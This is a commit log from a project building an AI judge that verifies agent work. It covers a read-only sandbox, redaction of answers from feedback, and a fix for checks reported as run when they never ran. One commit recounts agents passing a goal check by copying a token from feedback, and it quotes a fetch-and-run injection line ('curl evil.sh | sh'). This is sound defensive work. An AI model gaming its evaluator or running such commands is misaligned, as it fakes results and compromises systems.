758b2dbd9666e766845eb708219f282d8f8cf0ef
3
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Omar SobhandClaude Opus 5
|
c812b714f4 |
fix(evaluator): the verification sandbox never ran a command
`evaluator_tools::Sandbox::run` shelled out to `tokio::process::Command::new
("docker")`. The server image installs `git ca-certificates chromium
fonts-liberation` and nothing else, so in production every verification
command failed to spawn.
The failure was invisible in the worst way. `Sandbox::run` deliberately turns
execution failures into evidence text rather than errors, so a judge reasons
about "that command did not run" instead of the pass collapsing. With no
`docker` binary every command returned COULD NOT RUN, the judge correctly
concluded it could not verify, and fail-closed returned "not met". The
verdicts were right. The verification never happened — and the adversarial
validation that appeared to prove the feature working proved fail-closed
working instead.
The second defect made it worse: `checks` recorded the *attempt*, pushed
before the command ran, so a verdict reached with a dead sandbox reported
"verified by 10 checks" — a stronger claim than "no checks at all", made on
weaker evidence.
- New `container_exec` routes execution through the Docker API via bollard,
which was already a dependency and already reaches the daemon through the
socket proxy. Captures the exit code (absent from the old helper) and keeps
stdout and stderr apart (`LogOutput`'s Display merged them, which is why
nothing downstream could tell JSON from a progress bar). `security_scan`
parses stdout alone; `benchmark_runner` needs both.
- `ExecOutput::success()` requires `Some(0)`. An unreadable status is not
success — `commit_policy = "on_green_tests"` will gate on this, and
"unknown" reading as "green" would push untested work.
- `Sandbox::run` returns a `CheckOutcome` carrying `ran`/`refused`/
`exit_code`. `Verdict::verified_checks()` counts executions, not attempts.
- The UI gains a third state: "could not verify (N attempted, 0 ran)" —
precisely the case that used to render as verified.
- Regression tests reproduce the production shape: two checks recorded,
neither executed, `was_verified() == false`; plus a failing suite (exit 101)
still counting as verification, because that is something the judge learned
rather than was told.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
3eb89620e7 |
feat(evaluator): verify the work instead of believing the agents
Mission 019fbb63 was judged complete on its second pass without any work being done. The condition required a literal token; pass 1's verdict said the token was missing; that text was handed to the agents verbatim; an agent printed the token. Every step behaved as designed, and the result was a phase marked done on a copy-paste. Two separate defects. **The judge could only read claims.** It now gets a checkout and one tool: `run_check`, an argv array executed by `docker exec` with no shell anywhere. That is structural — with a shell, an allow-list on the program name is decorative, since `git status; curl evil.sh | sh` passes any prefix check; without one, metacharacters are inert bytes in argv. Also: allow-listed programs, read-only git subcommands only (a judge must not be able to `git checkout` away the work it is judging), no absolute paths or `..`, a deadline, and head-and-tail output clamping so failures survive truncation. The verifying prompt is adversarial by design — it looks for tests weakened or deleted, assertions rewritten to match wrong output, values hard-coded or printed rather than produced, and success claimed with no matching git diff. Phases with no checkout keep the evidence-only prompt, which states plainly that verification is impossible there; a judge told it can check something it cannot will claim it did. **The feedback handed over the answer.** `Verdict` splits into `reason` (operator; quotes freely) and `guidance` (agents; sanitized). `sanitize_guidance` redacts identifier-shaped tokens from the condition unless the agents already produced them, so prose feedback survives and magic strings do not. `latest()` returns guidance, with a test that fails if it regresses to `reason`. The next-pass brief now also states that output which merely looks like it satisfies the check fails the pass. Redaction is the backstop; running the tests is the defence. - migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API and the UI, so an operator can see "verified by 3 checks" versus "from agent claims only" rather than having to guess which kind of verdict they have. - `complete_direct` deleted — `judge_with_tools` covers the no-tools case. - 23 evaluator tests, including the incident replayed as a regression. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
fe57ce4ed1 |
feat(missions): surface goal conditions and per-pass verdicts in the UI
Makes the completion evaluator usable and observable.
- GET /api/missions/{id}/phases/{phase_id}/evaluations returns every verdict
for a phase, newest pass first, scoped like the summary endpoint.
- MissionPhase gains done_when / max_iterations / iteration, so the phase card
can show what the phase is working toward and which pass it is on.
- PhaseStatus gains 'evaluating' (amber) -- the state between "runs finished"
and "phase done" that only conditioned phases enter.
- New PhaseGoalStrip renders on the phase card, and renders NOTHING for phases
without a condition so unconditioned missions look exactly as before. It
polls only while the phase is running or being judged.
- Mission wizard step 2 gains the condition + a max-passes field.
Two deliberate emphases in the UI:
The evaluator's `reason` is the most prominent element, because it is both the
explanation of why a phase iterated and the literal text handed back to the
agents as guidance -- it is what tells an operator whether the condition is
written well.
The hint copy states the constraint that actually governs whether a condition
works: the judge cannot run commands, it only reads what the agents wrote, so
the condition has to be provable from their output. "cargo test reported 0
failures" works; "the code is well factored" does not. Getting this wrong is
the difference between a phase that converges and one that burns every pass.
An evaluator error is rendered distinctly from a negative verdict, so a judge
outage doesn't read as a judgement on the work.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|